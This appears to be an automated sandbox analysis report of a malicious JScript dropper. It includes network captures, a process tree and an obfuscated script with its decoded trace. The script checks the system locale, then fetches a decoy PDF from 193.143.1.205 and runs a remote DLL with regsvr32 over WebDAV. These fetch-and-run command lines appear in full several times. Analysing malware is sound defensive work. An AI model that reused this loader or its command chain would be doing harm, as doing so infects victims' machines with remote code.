63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 11, 2025 06:50:36.086174011 CET	224	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 11, 2025 06:50:36.086211920 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jan 11, 2025 06:50:36.086246967 CET	1236	IN	Data Raw: 3b 85 a9 6f 3f 00 00 00 00 00 00 00 00 00 1b 34 75 8a c1 d4 ca 25 f4 d1 96 d0 79 06 bd 9d 3d 6e a2 c7 a0 8a ce 93 68 1a 11 a5 87 ee 9e a9 6f 42 00 00 00 00 00 00 00 00 00 1b 31 75 84 c1 d4 6a 4a 68 1a ed 74 19 f4 f1 66 f6 b8 8e 1e 37 8f a9 8a 56 Data Ascii: ;o?4u%y=nhoB1ujJhtf7VOY;oE7uGv+j Tg~:{oEk6u~%f vA.q<pDtCtC'0`&K]%3h}
Jan 11, 2025 06:50:36.086281061 CET	1236	IN	Data Raw: 14 ec a4 70 2c f4 e3 60 47 ae 3e 30 74 b0 23 f7 a4 d9 91 db 8d 85 7e 68 c7 42 df 76 db 71 df bc ba 78 fd f2 e2 f5 8b 8b 57 2f 9a ff 6c 7a e8 cb ae 87 a6 65 b9 fa e4 50 bb 29 f7 e6 69 b0 29 f7 b1 1b 0e 25 86 4e 6a ea 9b 13 00 00 c0 34 f8 62 09 00 Data Ascii: p,`G>0t#~hBvqxW/lzeP)i)%Nj4b/FcvQOt`{psBjK_~1DmM[9L/l4`U*;rfAnWB_)^oCeSC;i4b/FcvO
Jan 11, 2025 06:50:36.086316109 CET	1236	IN	Data Raw: b5 ad f8 d4 ad f1 fa 27 f9 4d b7 ff 84 00 40 a5 55 6e 65 f8 9c 7c 32 31 34 3c 30 54 c7 d0 eb 26 86 5e a6 18 7a 3a 8c a1 ef 5d 0c 7d de c7 d0 67 5d 09 0d 62 e8 eb 26 86 ee a5 18 ba 3f 8f a1 e7 26 86 de 3e dd df 35 31 f4 c1 c5 50 8e 0d dd ae a9 6f Data Ascii: 'M@Une\|214<0T&^z:]}g]b&?&>51PoN%,.[nmk-_BW?]\r}B`Qa8zs&711bC%21gm\|c#1t*SKvk>~}h]
Jan 11, 2025 06:50:36.086349964 CET	1236	IN	Data Raw: db 7e a1 b7 5c 41 e1 9d 56 ff 82 ae f8 36 5b e8 45 0c 5f c7 f2 4b b9 e8 cb b7 c6 37 cf 12 d7 b0 99 7f 80 00 80 b5 c4 9d 10 9f 9b ba 03 43 1f d4 81 a1 29 86 5e 5e b4 31 f4 74 18 43 f7 9a 18 ba 37 8f a1 ed a6 dc 34 1c da cc 87 0e 4b e8 68 0c 3d 6e Data Ascii: ~\AV6[E_K7C)^^1tC74Kh=nby~m0X].5rbXTtE/Q\reE_-zm=]_{E`TZ~F}i_Jnp}QqZ'C?V
Jan 11, 2025 06:50:36.086385012 CET	552	IN	Data Raw: 73 cf 58 cd a7 83 7c 46 68 e6 87 01 cc db de bc b8 a3 49 d4 7f 16 98 4f 81 f5 be 9a e9 4a ca 37 96 45 5f c4 85 8a 64 fd 2b 18 fe 8e ab dc 69 47 6f b6 f4 50 00 13 aa fc 37 7d 7c ae 72 07 86 c6 31 f4 36 8a a1 27 d9 18 2a 9b 72 07 f3 a1 92 41 bb 12 Data Ascii: sX\|FhIOJ7E_d+iGoP7}\|r16'*rA;WIL}s_,$?i/TDGKx:z:GMX"D?W5XOfhUV#5zK\iKVF?GLS+<]j+t-9,O%{ZSiu5Ut
Jan 11, 2025 06:50:36.086416960 CET	1236	IN	Data Raw: 31 74 38 1c da 3c f2 25 b4 3f 30 34 8a a1 47 12 43 ef bb 18 7a d5 1c 5a ba 68 0c 65 53 ee 06 4c 7d 73 02 00 00 98 06 5f 2c 01 c0 f6 99 7b 0d 0a 31 30 30 30 0d 0a ec 68 17 f0 89 4a 7f 5b fe 6a c8 7c af be 7e 70 a9 d0 0b ca 25 d4 64 50 dd 40 53 e5 Data Ascii: 1t8<%?04GCzZheSL}s_,{1000hJ[j\|~p%dP@S<88}zJa4"Dsrz4 msJ'9+)sUjcfVr3<r^D)h>c]Gj~l@gs0o{'_M1w/bxvMoHfK0UZv]
Jan 11, 2025 06:50:36.086452961 CET	224	IN	Data Raw: dc 16 eb dc ec f6 e8 ab a9 37 57 e7 7a 68 38 78 ee 33 e8 68 ce 0e 8b a4 e1 5f 41 bf 23 3a 37 e4 9b 7b 41 c3 82 1c 9e e1 6b 6e b6 6b e9 a1 53 ff 63 0a c0 97 63 f5 62 82 1d b5 e8 81 a1 12 43 af ae d2 81 a1 e5 18 7a ad 63 68 c5 43 76 e4 f6 31 74 7f Data Ascii: 7Wzh8x3h_A#:7{AknkSccbCzchCv1tCOO177O1M5`\|o>%kP/f#))HMgo_#{k+M$OOzzsHa^r,*Y,,WUB5{i_}
Jan 11, 2025 06:50:36.091353893 CET	1236	IN	Data Raw: 7a e3 71 e1 e9 5a ae 87 96 4b a8 ff 64 d1 2f bd fc 41 16 ca 58 85 25 b4 61 3b 36 25 34 3d 5d f2 5c 99 1f 09 90 9f 0a d0 3f 00 90 de f0 e9 99 cc bd b2 b9 b1 e8 f0 9d 56 de 62 6d 5e 4d ff 7e cb bd 9a d2 67 97 e8 a1 85 a9 f3 f2 1d 4f 17 49 4d ba b6 Data Ascii: zqZKd/AX%a;6%4=]\?Vbm^M~gOIM_W;C3Uvj;,C:6<^_7wcICo$5I}WBm1/yiL}s_,vjaAny!mc=4LdLOJH_[?EfW$:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49731	193.143.1.205	8888	4280	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 06:50:37.362427950 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 11, 2025 06:50:38.156821966 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 05:50:38 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	00:50:31
Start date:	11/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\205603875166153346.js"
Imagebase:	0x7ff6c0200000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	00:50:32
Start date:	11/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1109219193632.dll
Imagebase:	0x7ff7f17a0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	00:50:32
Start date:	11/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	00:50:32
Start date:	11/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	00:50:35
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff6bc1b0000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	5
Start time:	00:50:35
Start date:	11/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff7f17a0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	00:50:35
Start date:	11/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff7dd380000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	00:50:36
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff74bb60000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	00:50:36
Start date:	11/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0xec0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	00:50:36
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2096 --field-trial-handle=1580,i,6215617842558587158,18327403100547103399,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff74bb60000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function qvijvdx() {	qvijvdx() ➔ undefined
1	rutnee = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var thahiqabp = this[npqnzugbf + tjgalg + jfqnehhmq + slobmnu + yyorxecn + nqynpf + lyhzle + ywunubz] ( this[kxgpykqy + tskcujy + lqbimt + jfqnehhmq + dmfslmgoz + npqnzugbf + ywunubz][oiwbfr + jfqnehhmq + yyorxecn + tjgalg + ywunubz + yyorxecn + aeuwtasb + rgiezkul + eeausxbwj + yyorxecn + lqbimt + ywunubz] ( kxgpykqy + tskcujy + lqbimt + jfqnehhmq + dmfslmgoz + npqnzugbf + ywunubz + rkqeglqal + tskcujy + jkqkwch + yyorxecn + fukpm + fukpm ) [jxhubhfo + yyorxecn + dhhibno + jxhubhfo + yyorxecn + tjgalg + pazahq] ( frnikn + splyzs + rnrxvwnld + fvgetiun + yruwmnvf + oiwbfr + sscnynyel + jxhubhfo + jxhubhfo + rnrxvwnld + dydjrx + gnxjbc + yruwmnvf + sscnynyel + tskcujy + rnrxvwnld + jxhubhfo + ljijxrw + oiwbfr + eqyfjbn + lyhzle + ywunubz + jfqnehhmq + eqyfjbn + fukpm + ulvhcz + bvyshsde + tjgalg + lyhzle + yyorxecn + fukpm + ljijxrw + nqynpf + lyhzle + ywunubz + yyorxecn + jfqnehhmq + lyhzle + tjgalg + ywunubz + dmfslmgoz + eqyfjbn + lyhzle + tjgalg + fukpm + ljijxrw + ottytgmdl + eqyfjbn + lqbimt + tjgalg + fukpm + yyorxecn ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( qlyrx = 0 ; qlyrx < rutnee[fukpm + yyorxecn + lyhzle + dhhibno + ywunubz + jkqkwch] ; ++ qlyrx )
4	{
5	if ( thahiqabp == rutnee[qlyrx] )
6	{
7	thahiqabp = true;
8	break ;
9	}
10	}
11	if ( thahiqabp !== true )
12	this[kxgpykqy + tskcujy + lqbimt + jfqnehhmq + dmfslmgoz + npqnzugbf + ywunubz][synxonvne + zualxfmo + dmfslmgoz + ywunubz] ( );
13	this[kxgpykqy + tskcujy + lqbimt + jfqnehhmq + dmfslmgoz + npqnzugbf + ywunubz][oiwbfr + jfqnehhmq + yyorxecn + tjgalg + ywunubz + yyorxecn + aeuwtasb + rgiezkul + eeausxbwj + yyorxecn + lqbimt + ywunubz] ( kxgpykqy + tskcujy + lqbimt + jfqnehhmq + dmfslmgoz + npqnzugbf + ywunubz + rkqeglqal + tskcujy + jkqkwch + yyorxecn + fukpm + fukpm ) [jfqnehhmq + zualxfmo + lyhzle] ( lqbimt + dauxx + pazahq + ulvhcz + izcglkai + lqbimt + ulvhcz + npqnzugbf + eqyfjbn + xlwkw + yyorxecn + jfqnehhmq + slobmnu + jkqkwch + yyorxecn + fukpm + fukpm + rkqeglqal + yyorxecn + lkixb + yyorxecn + ulvhcz + suiqt + oiwbfr + eqyfjbn + dauxx + dauxx + tjgalg + lyhzle + pazahq + ulvhcz + qbdtpknjz + nqynpf + lyhzle + zplsxp + eqyfjbn + vxjrutm + yyorxecn + suiqt + kxgpykqy + yyorxecn + rgiezkul + jxhubhfo + yyorxecn + hxivamf + zualxfmo + yyorxecn + slobmnu + ywunubz + ulvhcz + suiqt + aeuwtasb + zualxfmo + ywunubz + bzvhitnjy + dmfslmgoz + fukpm + yyorxecn + ulvhcz + qhqyurxlf + ywunubz + yyorxecn + dauxx + npqnzugbf + qhqyurxlf + ljijxrw + dmfslmgoz + lyhzle + zplsxp + eqyfjbn + dmfslmgoz + lqbimt + yyorxecn + rkqeglqal + npqnzugbf + pazahq + jwfnbeh + ulvhcz + jkqkwch + ywunubz + ywunubz + npqnzugbf + zeabj + izcglkai + izcglkai + mufbqr + udsqomv + psypykbpm + rkqeglqal + mufbqr + fygbri + psypykbpm + rkqeglqal + mufbqr + rkqeglqal + cjqbxbz + gfxjwblz + zjwpjebgb + izcglkai + dmfslmgoz + lyhzle + zplsxp + eqyfjbn + dmfslmgoz + lqbimt + yyorxecn + rkqeglqal + npqnzugbf + jkqkwch + npqnzugbf + qbdtpknjz + hesvmicn + hesvmicn + slobmnu + ywunubz + tjgalg + jfqnehhmq + ywunubz + ulvhcz + qhqyurxlf + ywunubz + yyorxecn + dauxx + npqnzugbf + qhqyurxlf + ljijxrw + dmfslmgoz + lyhzle + zplsxp + eqyfjbn + dmfslmgoz + lqbimt + yyorxecn + rkqeglqal + npqnzugbf + pazahq + jwfnbeh + hesvmicn + hesvmicn + lqbimt + dauxx + pazahq + ulvhcz + izcglkai + lqbimt + ulvhcz + lyhzle + yyorxecn + ywunubz + ulvhcz + zualxfmo + slobmnu + yyorxecn + ulvhcz + ljijxrw + ljijxrw + mufbqr + udsqomv + psypykbpm + rkqeglqal + mufbqr + fygbri + psypykbpm + rkqeglqal + mufbqr + rkqeglqal + cjqbxbz + gfxjwblz + zjwpjebgb + quuwr + fsrcmpvp + fsrcmpvp + fsrcmpvp + fsrcmpvp + ljijxrw + pazahq + tjgalg + zplsxp + xlwkw + xlwkw + xlwkw + jfqnehhmq + eqyfjbn + eqyfjbn + ywunubz + ljijxrw + hesvmicn + hesvmicn + lqbimt + dauxx + pazahq + ulvhcz + izcglkai + lqbimt + ulvhcz + jfqnehhmq + yyorxecn + dhhibno + slobmnu + zplsxp + jfqnehhmq + psypykbpm + cjqbxbz + ulvhcz + izcglkai + slobmnu + ulvhcz + ljijxrw + ljijxrw + mufbqr + udsqomv + psypykbpm + rkqeglqal + mufbqr + fygbri + psypykbpm + rkqeglqal + mufbqr + rkqeglqal + cjqbxbz + gfxjwblz + zjwpjebgb + quuwr + fsrcmpvp + fsrcmpvp + fsrcmpvp + fsrcmpvp + ljijxrw + pazahq + tjgalg + zplsxp + xlwkw + xlwkw + xlwkw + jfqnehhmq + eqyfjbn + eqyfjbn + ywunubz + ljijxrw + mufbqr + mufbqr + gfxjwblz + udsqomv + cjqbxbz + mufbqr + udsqomv + mufbqr + udsqomv + psypykbpm + ujexi + psypykbpm + cjqbxbz + rkqeglqal + pazahq + fukpm + fukpm, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1109219193632.dll",0,false) ➔ 0
14	}
15	gnxjbc = "B";
16	gnxjbc = "I";
17	gnxjbc = "q";
18	gnxjbc = "m";
19	gnxjbc = "k";
20	gnxjbc = "P";
21	gnxjbc = "l";
22	gnxjbc = "e";
23	gnxjbc = "T";
24	gnxjbc = "e";
25	gnxjbc = "L";
26	gnxjbc = "i";
27	gnxjbc = "n";
28	gnxjbc = "l";
29	gnxjbc = "A";
30	gnxjbc = "o";
31	gnxjbc = "z";
32	gnxjbc = "s";
33	gnxjbc = "s";
34	gnxjbc = "o";
35	gnxjbc = "a";
36	gnxjbc = "c";
37	gnxjbc = "j";
38	gnxjbc = "B";
39	gnxjbc = "O";
40	gnxjbc = "R";
41	gnxjbc = "A";
42	gnxjbc = "Y";
43	gnxjbc = "X";
44	gnxjbc = "X";
45	gnxjbc = "T";
46	xlwkw = "k";
47	xlwkw = "x";
48	xlwkw = "a";
49	xlwkw = "x";
50	xlwkw = "Q";
51	xlwkw = "r";
52	xlwkw = "M";
53	xlwkw = "m";
54	xlwkw = "P";
55	xlwkw = "B";
56	xlwkw = "F";
57	xlwkw = "j";
58	xlwkw = "y";
59	xlwkw = "s";
60	xlwkw = "f";
61	xlwkw = "L";
62	xlwkw = "o";
63	xlwkw = "T";
64	xlwkw = "P";
65	xlwkw = "l";
66	xlwkw = "x";
67	xlwkw = "f";
68	xlwkw = "D";
69	xlwkw = "V";
70	xlwkw = "y";
71	xlwkw = "w";
72	jwfnbeh = "F";
73	jwfnbeh = "f";
74	nqynpf = "w";
75	nqynpf = "h";
76	nqynpf = "f";
77	nqynpf = "Y";
78	nqynpf = "M";
79	nqynpf = "y";
80	nqynpf = "K";
81	nqynpf = "I";
82	pazahq = "t";
83	pazahq = "b";
84	pazahq = "i";
85	pazahq = "X";
86	pazahq = "y";
87	pazahq = "E";
88	pazahq = "g";
89	pazahq = "m";
90	pazahq = "y";
91	pazahq = "Z";
92	pazahq = "D";
93	pazahq = "G";
94	pazahq = "A";
95	pazahq = "I";
96	pazahq = "s";
97	pazahq = "P";
98	pazahq = "T";
99	pazahq = "S";
100	pazahq = "d";
101	pazahq = "n";
102	pazahq = "K";
103	pazahq = "T";
104	pazahq = "z";
105	pazahq = "D";
106	pazahq = "t";
107	pazahq = "B";
108	pazahq = "d";
109	zualxfmo = "z";
110	zualxfmo = "X";
111	zualxfmo = "x";
112	zualxfmo = "p";
113	zualxfmo = "E";
114	zualxfmo = "z";
115	zualxfmo = "g";
116	zualxfmo = "W";
117	zualxfmo = "v";
118	zualxfmo = "u";
119	zualxfmo = "a";
120	zualxfmo = "x";
121	zualxfmo = "a";
122	zualxfmo = "S";
123	zualxfmo = "E";
124	zualxfmo = "j";
125	zualxfmo = "l";
126	zualxfmo = "B";
127	zualxfmo = "u";
128	yruwmnvf = "d";
129	yruwmnvf = "F";
130	yruwmnvf = "r";
131	yruwmnvf = "F";
132	yruwmnvf = "y";
133	yruwmnvf = "O";
134	yruwmnvf = "t";
135	yruwmnvf = "S";
136	yruwmnvf = "e";
137	yruwmnvf = "n";
138	yruwmnvf = "z";
139	yruwmnvf = "o";
140	yruwmnvf = "D";
141	yruwmnvf = "t";
142	yruwmnvf = "B";
143	yruwmnvf = "D";
144	yruwmnvf = "P";
145	yruwmnvf = "e";
146	yruwmnvf = "u";
147	yruwmnvf = "S";
148	yruwmnvf = "P";
149	yruwmnvf = "x";
150	yruwmnvf = "H";
151	yruwmnvf = "K";
152	yruwmnvf = "D";
153	yruwmnvf = "X";
154	yruwmnvf = "y";
155	yruwmnvf = "V";
156	yruwmnvf = "P";
157	yruwmnvf = "x";
158	yruwmnvf = "X";
159	yruwmnvf = "A";
160	yruwmnvf = "q";
161	yruwmnvf = "I";
162	yruwmnvf = "x";
163	yruwmnvf = "I";
164	yruwmnvf = "_";
165	yyorxecn = "Y";
166	yyorxecn = "m";
167	yyorxecn = "W";
168	yyorxecn = "i";
169	yyorxecn = "U";
170	yyorxecn = "n";
171	yyorxecn = "k";
172	yyorxecn = "G";
173	yyorxecn = "F";
174	yyorxecn = "u";
175	yyorxecn = "I";
176	yyorxecn = "e";
177	yyorxecn = "h";
178	yyorxecn = "Q";
179	yyorxecn = "v";
180	yyorxecn = "q";
181	yyorxecn = "A";
182	yyorxecn = "u";
183	yyorxecn = "L";
184	yyorxecn = "l";
185	yyorxecn = "D";
186	yyorxecn = "V";
187	yyorxecn = "z";
188	yyorxecn = "B";
189	yyorxecn = "e";
190	aeuwtasb = "l";
191	aeuwtasb = "t";
192	aeuwtasb = "F";
193	aeuwtasb = "l";
194	aeuwtasb = "v";
195	aeuwtasb = "Y";
196	aeuwtasb = "M";
197	aeuwtasb = "p";
198	aeuwtasb = "W";
199	aeuwtasb = "V";
200	aeuwtasb = "e";
201	aeuwtasb = "A";
202	aeuwtasb = "Z";
203	aeuwtasb = "u";
204	aeuwtasb = "B";
205	aeuwtasb = "i";
206	aeuwtasb = "o";
207	aeuwtasb = "W";
208	aeuwtasb = "x";
209	aeuwtasb = "M";
210	aeuwtasb = "D";
211	aeuwtasb = "v";
212	aeuwtasb = "x";
213	aeuwtasb = "C";
214	aeuwtasb = "y";
215	aeuwtasb = "j";
216	aeuwtasb = "a";
217	aeuwtasb = "t";
218	aeuwtasb = "J";
219	aeuwtasb = "y";
220	aeuwtasb = "w";
221	aeuwtasb = "k";
222	aeuwtasb = "k";
223	aeuwtasb = "a";
224	aeuwtasb = "c";
225	aeuwtasb = "I";
226	aeuwtasb = "q";
227	aeuwtasb = "k";
228	aeuwtasb = "Z";
229	aeuwtasb = "O";
230	fsrcmpvp = "e";
231	fsrcmpvp = "a";
232	fsrcmpvp = "v";
233	fsrcmpvp = "W";
234	fsrcmpvp = "l";
235	fsrcmpvp = "A";
236	fsrcmpvp = "I";
237	fsrcmpvp = "G";
238	fsrcmpvp = "v";
239	fsrcmpvp = "N";
240	fsrcmpvp = "M";
241	fsrcmpvp = "E";
242	fsrcmpvp = "M";
243	fsrcmpvp = "Y";
244	fsrcmpvp = "A";
245	fsrcmpvp = "I";
246	fsrcmpvp = "F";
247	fsrcmpvp = "x";
248	fsrcmpvp = "8";
249	jkqkwch = "h";
250	hesvmicn = "E";
251	hesvmicn = "c";
252	hesvmicn = "&";
253	jfqnehhmq = "g";
254	jfqnehhmq = "l";
255	jfqnehhmq = "l";
256	jfqnehhmq = "D";
257	jfqnehhmq = "G";
258	jfqnehhmq = "J";
259	jfqnehhmq = "P";
260	jfqnehhmq = "N";
261	jfqnehhmq = "L";
262	jfqnehhmq = "y";
263	jfqnehhmq = "v";
264	jfqnehhmq = "b";
265	jfqnehhmq = "Q";
266	jfqnehhmq = "s";
267	jfqnehhmq = "o";
268	jfqnehhmq = "f";
269	jfqnehhmq = "Q";
270	jfqnehhmq = "d";
271	jfqnehhmq = "S";
272	jfqnehhmq = "d";
273	jfqnehhmq = "f";
274	jfqnehhmq = "n";
275	jfqnehhmq = "g";
276	jfqnehhmq = "i";
277	jfqnehhmq = "K";
278	jfqnehhmq = "O";
279	jfqnehhmq = "G";
280	jfqnehhmq = "g";
281	jfqnehhmq = "r";
282	hxivamf = "D";
283	hxivamf = "R";
284	hxivamf = "R";
285	hxivamf = "s";
286	hxivamf = "M";
287	hxivamf = "Y";
288	hxivamf = "q";
289	hxivamf = "M";
290	hxivamf = "l";
291	hxivamf = "B";
292	hxivamf = "O";
293	hxivamf = "p";
294	hxivamf = "O";
295	hxivamf = "s";
296	hxivamf = "N";
297	hxivamf = "f";
298	hxivamf = "K";
299	hxivamf = "W";
300	hxivamf = "P";
301	hxivamf = "E";
302	hxivamf = "b";
303	hxivamf = "V";
304	hxivamf = "w";
305	hxivamf = "O";
306	hxivamf = "i";
307	hxivamf = "t";
308	hxivamf = "O";
309	hxivamf = "W";
310	hxivamf = "v";
311	hxivamf = "p";
312	hxivamf = "X";
313	hxivamf = "y";
314	hxivamf = "q";
315	slobmnu = "S";
316	slobmnu = "g";
317	slobmnu = "r";
318	slobmnu = "L";
319	slobmnu = "E";
320	slobmnu = "y";
321	slobmnu = "Y";
322	slobmnu = "o";
323	slobmnu = "A";
324	slobmnu = "y";
325	slobmnu = "G";
326	slobmnu = "X";
327	slobmnu = "a";
328	slobmnu = "Q";
329	slobmnu = "V";
330	slobmnu = "y";
331	slobmnu = "n";
332	slobmnu = "K";
333	slobmnu = "a";
334	slobmnu = "H";
335	slobmnu = "M";
336	slobmnu = "h";
337	slobmnu = "s";
338	sscnynyel = "n";
339	sscnynyel = "b";
340	sscnynyel = "g";
341	sscnynyel = "d";
342	sscnynyel = "Y";
343	sscnynyel = "e";
344	sscnynyel = "v";
345	sscnynyel = "S";
346	sscnynyel = "E";
347	sscnynyel = "p";
348	sscnynyel = "T";
349	sscnynyel = "K";
350	sscnynyel = "T";
351	sscnynyel = "D";
352	sscnynyel = "B";
